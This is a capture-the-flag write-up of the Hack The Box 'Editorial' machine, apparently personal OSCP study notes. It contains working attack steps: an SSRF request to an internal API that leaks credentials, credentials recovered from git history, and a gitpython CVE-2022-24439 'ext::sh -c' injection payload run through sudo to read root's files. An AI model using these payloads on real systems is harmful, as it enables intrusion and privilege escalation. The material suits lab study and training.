Skip to content

HTB Editorial done

Editorial

OS:

Linux

Technology:

Hugo 0.104.2

IP Address:

10.10.11.20

Open ports:

22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.18.0 (Ubuntu)

Users and pass:

SSH login
L: dev
P: dev080217_devAPI!@
---
SSH login
U: prod
P: 080217_Producti0n_2023!@

Nmap

┌──(kali㉿kali)-[~/…/oscp/writeups/HTB/HTB_Editorial]
└─$ sudo nmap -A -sV --script=default -p- -oA 10.10.11.20_nmap 10.10.11.20 ; cat 10.10.11.20_nmap.nmap | grep -E "^[0-9]{1,}/(tcp|udp)"
[sudo] password for kali: 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-10 23:01 UTC
Nmap scan report for editorial.htb (10.10.11.20)
Host is up (0.059s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 0d:ed:b2:9c:e2:53:fb:d4:c8:c1:19:6e:75:80:d8:64 (ECDSA)
|_  256 0f:b9:a7:51:0e:00:d5:7b:5b:7c:5f:bf:2b:ed:53:a0 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Editorial Tiempo Arriba
|_http-server-header: nginx/1.18.0 (Ubuntu)

Add IP to /etc/hosts

┌──(kali㉿kali)-[~/…/oscp/writeups/HTB/HTB_Editorial]
└─$ cat /etc/hosts | grep editorial  
10.10.11.20 editorial.htb

Ffuz: http://Editorial.htb

nothing interesting here
---
┌──(kali㉿kali)-[~/…/oscp/writeups/HTB/HTB_Editorial]
└─$ ffuf -u http://editorial.htb/FUZZ -c -w /usr/share/wordlists/dirb/big.txt -ac -recursion -recursion-depth=1 -o editorial.htb_ffuz -of all -e .php,.html,.txt,.bac,.backup                                                 

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://editorial.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirb/big.txt
 :: Extensions       : .php .html .txt .bac .backup 
 :: Output file      : editorial.htb_ffuz.{json,ejson,html,md,csv,ecsv}
 :: File format      : all
 :: Follow redirects : false
 :: Calibration      : true
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

about                   [Status: 200, Size: 2939, Words: 492, Lines: 72, Duration: 78ms]
upload                  [Status: 200, Size: 7140, Words: 1952, Lines: 210, Duration: 52ms]
:: Progress: [122814/122814] :: Job [1/1] :: 858 req/sec :: Duration: [0:02:34] :: Errors: 0 ::

SSRF

Find SSRF

Testing SSRF add local IP address and sent random file, I see that we get jpeg file, we try testing anotther ports for local IP.

Brute force port for : http://127.0.0.1

We get another response (not link to jpeg file) for http://127.0.0.1:5000

SSRF: http:127.0.0.1:5000

I found API endpoints
---
* Read file
┌──(kali㉿kali)-[~/…/oscp/writeups/HTB/HTB_Editorial]
└─$ cat 272aff80-434e-4a52-88a8-d59762bcfe10| jq         
{
  "messages": [
    {
      "promotions": {
        "description": "Retrieve a list of all the promotions in our library.",
        "endpoint": "/api/latest/metadata/messages/promos",
        "methods": "GET"
      }
    },
    {
      "coupons": {
        "description": "Retrieve the list of coupons to use in our library.",
        "endpoint": "/api/latest/metadata/messages/coupons",
        "methods": "GET"
      }
    },
    {
      "new_authors": {
        "description": "Retrieve the welcome message sended to our new authors.",
        "endpoint": "/api/latest/metadata/messages/authors",
        "methods": "GET"
      }
    },
    {
      "platform_use": {
        "description": "Retrieve examples of how to use the platform.",
        "endpoint": "/api/latest/metadata/messages/how_to_use_platform",
        "methods": "GET"
      }
    }
  ],
  "version": [
    {
      "changelog": {
        "description": "Retrieve a list of all the versions and updates of the api.",
        "endpoint": "/api/latest/metadata/changelog",
        "methods": "GET"
      }
    },
    {
      "latest": {
        "description": "Retrieve the last version of api.",
        "endpoint": "/api/latest/metadata",
        "methods": "GET"
      }
    }
  ]
}

Sent API request

Find user and password:
L: dev
P: dev080217_devAPI!@
---
Sent request API
http://127.0.0.1:5000/api/latest/metadata/messages/authors
___
POST /upload-cover HTTP/1.1
Host: editorial.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------417947074923700081801951038155
Content-Length: 401
Origin: http://editorial.htb
Connection: keep-alive
Referer: http://editorial.htb/upload

-----------------------------417947074923700081801951038155
Content-Disposition: form-data; name="bookurl"

http://127.0.0.1:5000/api/latest/metadata/messages/authors
-----------------------------417947074923700081801951038155
Content-Disposition: form-data; name="bookfile"; filename=""
Content-Type: application/octet-stream


-----------------------------417947074923700081801951038155--
---
Get response from API endpoints

HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Mon, 12 Aug 2024 07:23:47 GMT
Content-Type: application/octet-stream
Content-Length: 506
Connection: keep-alive
Content-Disposition: inline; filename=a942e680-f709-4621-a969-11a4069e30e4
Last-Modified: Mon, 12 Aug 2024 07:23:47 GMT
Cache-Control: no-cache
ETag: "1723447427.8528757-506-3831306121"

{"template_mail_message":"Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: dev\nPassword: dev080217_devAPI!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, Editorial Tiempo Arriba Team."}

SSH login as user: dev

L: dev
P: dev080217_devAPI!@
---
┌──(kali㉿kali)-[~/…/oscp/writeups/HTB/HTB_Editorial]
└─$ ssh [email protected]   
The authenticity of host 'editorial.htb (10.10.11.20)' can't be established.
ED25519 key fingerprint is SHA256:YR+ibhVYSWNLe4xyiPA0g45F4p1pNAcQ7+xupfIR70Q.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'editorial.htb' (ED25519) to the list of known hosts.
[email protected]'s password: 
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-112-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Mon Aug 12 07:29:53 AM UTC 2024

  System load:           0.0
  Usage of /:            62.1% of 6.35GB
  Memory usage:          18%
  Swap usage:            0%
  Processes:             225
  Users logged in:       0
  IPv4 address for eth0: 10.10.11.20
  IPv6 address for eth0: dead:beef::250:56ff:fe94:7ec3


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Sun Aug 11 04:30:26 2024 from 10.10.14.3
dev@editorial:~$ 

Read flag: user.txt

dev@editorial:~$ find / -name "user.txt" 2>/dev/null
/home/dev/user.txt
dev@editorial:~$ 
dev@editorial:~$ cd /home/dev/
dev@editorial:~$ ls -la
total 40
drwxr-x--- 5 dev  dev  4096 Aug 11 04:37 .
drwxr-xr-x 4 root root 4096 Jun  5 14:36 ..
drwxrwxr-x 3 dev  dev  4096 Jun  5 14:36 apps
lrwxrwxrwx 1 root root    9 Feb  6  2023 .bash_history -> /dev/null
-rw-r--r-- 1 dev  dev   220 Jan  6  2022 .bash_logout
-rw-r--r-- 1 dev  dev  3771 Jan  6  2022 .bashrc
drwx------ 2 dev  dev  4096 Jun  5 14:36 .cache
drwx------ 3 dev  dev  4096 Aug 11 04:34 .gnupg
-rw------- 1 dev  dev    20 Aug 11 04:37 .lesshst
-rw-r--r-- 1 dev  dev   807 Jan  6  2022 .profile
-rw-r----- 1 root dev    33 Aug 11 00:20 user.txt
dev@editorial:~$ 
dev@editorial:~$ cat user.txt ; id ; ip a
45aa08cf286b2ba6f8731a5e15a6dff8
uid=1001(dev) gid=1001(dev) groups=1001(dev)
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:94:7e:c3 brd ff:ff:ff:ff:ff:ff
    altname enp3s0
    altname ens160
    inet 10.10.11.20/23 brd 10.10.11.255 scope global eth0
       valid_lft forever preferred_lft forever
    inet6 dead:beef::250:56ff:fe94:7ec3/64 scope global dynamic mngtmpaddr 
       valid_lft 86397sec preferred_lft 14397sec
    inet6 fe80::250:56ff:fe94:7ec3/64 scope link 
       valid_lft forever preferred_lft forever
dev@editorial:~$ 

Read details about app (git)

dev@editorial:~$ cd apps/
dev@editorial:~/apps$ ls
dev@editorial:~/apps$ ls -la
total 12
drwxrwxr-x 3 dev dev 4096 Jun  5 14:36 .
drwxr-x--- 5 dev dev 4096 Aug 11 04:37 ..
drwxr-xr-x 8 dev dev 4096 Jun  5 14:36 .git
dev@editorial:~/apps$ cd .git/
dev@editorial:~/apps/.git$ ls
branches  COMMIT_EDITMSG  config  description  HEAD  hooks  index  info  logs  objects  refs
dev@editorial:~/apps/.git$ ls -la
total 56
drwxr-xr-x  8 dev dev 4096 Jun  5 14:36 .
drwxrwxr-x  3 dev dev 4096 Jun  5 14:36 ..
drwxr-xr-x  2 dev dev 4096 Jun  5 14:36 branches
-rw-r--r--  1 dev dev  253 Jun  4 11:30 COMMIT_EDITMSG
-rw-r--r--  1 dev dev  177 Jun  4 11:30 config
-rw-r--r--  1 dev dev   73 Jun  4 11:30 description
-rw-r--r--  1 dev dev   23 Jun  4 11:30 HEAD
drwxr-xr-x  2 dev dev 4096 Jun  5 14:36 hooks
-rw-r--r--  1 dev dev 6163 Jun  4 11:30 index
drwxr-xr-x  2 dev dev 4096 Jun  5 14:36 info
drwxr-xr-x  3 dev dev 4096 Jun  5 14:36 logs
drwxr-xr-x 70 dev dev 4096 Jun  5 14:36 objects
drwxr-xr-x  4 dev dev 4096 Jun  5 14:36 refs
dev@editorial:~/apps/.git$ git log
commit 8ad0f3187e2bda88bba85074635ea942974587e8 (HEAD -> master)
Author: dev-carlos.valderrama <[email protected]>
Date:   Sun Apr 30 21:04:21 2023 -0500

    fix: bugfix in api port endpoint

commit dfef9f20e57d730b7d71967582035925d57ad883
Author: dev-carlos.valderrama <[email protected]>
Date:   Sun Apr 30 21:01:11 2023 -0500

    change: remove debug and update api port

commit b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae
Author: dev-carlos.valderrama <[email protected]>
Date:   Sun Apr 30 20:55:08 2023 -0500

    change(api): downgrading prod to dev

    * To use development environment.

commit 1e84a036b2f33c59e2390730699a488c65643d28
Author: dev-carlos.valderrama <[email protected]>
Date:   Sun Apr 30 20:51:10 2023 -0500

    feat: create api to editorial info

    * It (will) contains internal info about the editorial, this enable
       faster access to information.

commit 3251ec9e8ffdd9b938e83e3b9fbf5fd1efa9bbb8
Author: dev-carlos.valderrama <[email protected]>
Date:   Sun Apr 30 20:48:43 2023 -0500

    feat: create editorial app

    * This contains the base of this project.
    * Also we add a feature to enable to external authors send us their
       books and validate a future post in our editorial.

git show: 1e84a036b2f33c59e2390730699a488c65643d28

Found a new creds:
U: prod
P: 080217_Producti0n_2023!@
---
dev@editorial:~/apps/.git$ git show 1e84a036b2f33c59e2390730699a488c65643d28
commit 1e84a036b2f33c59e2390730699a488c65643d28
Author: dev-carlos.valderrama <[email protected]>
Date:   Sun Apr 30 20:51:10 2023 -0500

    feat: create api to editorial info

    * It (will) contains internal info about the editorial, this enable
       faster access to information.

diff --git a/app_api/app.py b/app_api/app.py
new file mode 100644
index 0000000..61b786f
--- /dev/null
+++ b/app_api/app.py
@@ -0,0 +1,74 @@
+# API (in development).
+# * To retrieve info about editorial
+
+import json
+from flask import Flask, jsonify
+
+# -------------------------------
+# App configuration
+# -------------------------------
+app = Flask(__name__)
+
+# -------------------------------
+# Global Variables
+# -------------------------------
+api_route = "/api/latest/metadata"
+api_editorial_name = "Editorial Tiempo Arriba"
+api_editorial_email = "[email protected]"
+
+# -------------------------------
+# API routes
+# -------------------------------
+# -- : home
[email protected]('/api', methods=['GET'])
+def index():
+    data_editorial = {
+        'version': [{
+            '1': {
+                'editorial': 'Editorial El Tiempo Por Arriba', 
+                'contact_email_1': '[email protected]',
+                'contact_email_2': '[email protected]',
+                'api_route': '/api/v1/metadata/'
+            }},
+            {
+            '1.1': {
+                'editorial': 'Ed Tiempo Arriba', 
+                'contact_email_1': '[email protected]',
+                'contact_email_2': '[email protected]',
+                'api_route': '/api/v1.1/metadata/'
+            }},
+            {
+            '1.2': {
+                'editorial': api_editorial_name, 
+                'contact_email_1': '[email protected]',
+                'contact_email_2': '[email protected]',
+                'api_route': f'/api/v1.2/metadata/'
+            }},
+            {
+            '2': {
+                'editorial': api_editorial_name, 
+                'contact_email': '[email protected]',
+                'api_route': f'/api/v2/metadata/'
+            }},
+            {
+            '2.3': {
+                'editorial': api_editorial_name, 
+                'contact_email': api_editorial_email,
+                'api_route': f'{api_route}/'
+            }
+        }]
+    }
+    return jsonify(data_editorial)
+
+# -- : (development) mail message to new authors
[email protected](api_route + '/authors/message', methods=['GET'])
+def api_mail_new_authors():
+    return jsonify({
+        'template_mail_message': "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: prod\nPassword: 080217_Producti0n_2023!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, " + api_editorial_name + " Team."
+    }) # TODO: replace dev credentials when checks pass
+
+# -------------------------------
+# Start program
+# -------------------------------
+if __name__ == '__main__':
+    app.run(host='127.0.0.1', port=5001, debug=True)
dev@editorial:~/apps/.git$ 

SSH login as user: prod

U: prod
P: 080217_Producti0n_2023!@
---
dev@editorial:~/apps/.git$ su prod
Password: 
prod@editorial:/home/dev/apps/.git$ 
prod@editorial:/home/dev/apps/.git$ id
uid=1000(prod) gid=1000(prod) groups=1000(prod)
prod@editorial:/home/dev/apps/.git$ 
prod@editorial:/home/dev/apps/.git$ sudo -i
Sorry, user prod is not allowed to execute '/bin/bash' as root on editorial.
prod@editorial:/home/dev/apps/.git$ sudo -l
Matching Defaults entries for prod on editorial:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User prod may run the following commands on editorial:
    (root) /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py *
prod@editorial:/home/dev/apps/.git$ 

Read more about location: /opt/internal_apps/clone_changes/clone_prod_change.py

prod@editorial:/home/dev/apps/.git$ ls -l /opt/internal_apps/clone_changes/clone_prod_change.py
-rwxr-x--- 1 root prod 256 Jun  4 11:30 /opt/internal_apps/clone_changes/clone_prod_change.py
prod@editorial:/home/dev/apps/.git$ 
prod@editorial:/home/dev/apps/.git$ cat /opt/internal_apps/clone_changes/clone_prod_change.py
#!/usr/bin/python3

import os
import sys
from git import Repo

os.chdir('/opt/internal_apps/clone_changes')

url_to_clone = sys.argv[1]

r = Repo.init('', bare=True)
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])

Exploit: CVE-2022-24439: Remote Code Execution RCE in gitpython

https://security.snyk.io/vuln/SNYK-PYTHON-GITPYTHON-3113858

Create payload

After read artical about this vuln I create a custom payload:

prod@editorial:~$ sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c cat% /root/root.txt% >% /tmp/root'
Traceback (most recent call last):
  File "/opt/internal_apps/clone_changes/clone_prod_change.py", line 12, in <module>
    r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])
  File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1275, in clone_from
    return cls._clone(git, url, to_path, GitCmdObjectDB, progress, multi_options, **kwargs)
  File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1194, in _clone
    finalize_process(proc, stderr=stderr)
  File "/usr/local/lib/python3.10/dist-packages/git/util.py", line 419, in finalize_process
    proc.wait(**kwargs)
  File "/usr/local/lib/python3.10/dist-packages/git/cmd.py", line 559, in wait
    raise GitCommandError(remove_password_if_present(self.args), status, errstr)
git.exc.GitCommandError: Cmd('git') failed due to: exit code(128)
  cmdline: git clone -v -c protocol.ext.allow=always ext::sh -c cat% /root/root.txt% >% /tmp/root new_changes
  stderr: 'Cloning into 'new_changes'...
fatal: Could not read from remote repository.

Please make sure you have the correct access rights
and the repository exists.
'

Read flag: root.txt

prod@editorial:~$ cat /tmp/root
ab7d6ab370b99b9d61de28d18494e652
prod@editorial:~$ 

References

[CVE-2022-24439: Remote Code Execution (RCE) in gitpython](https://security.snyk.io/vuln/SNYK-PYTHON-GITPYTHON-3113858)

Lessons Learned

Tags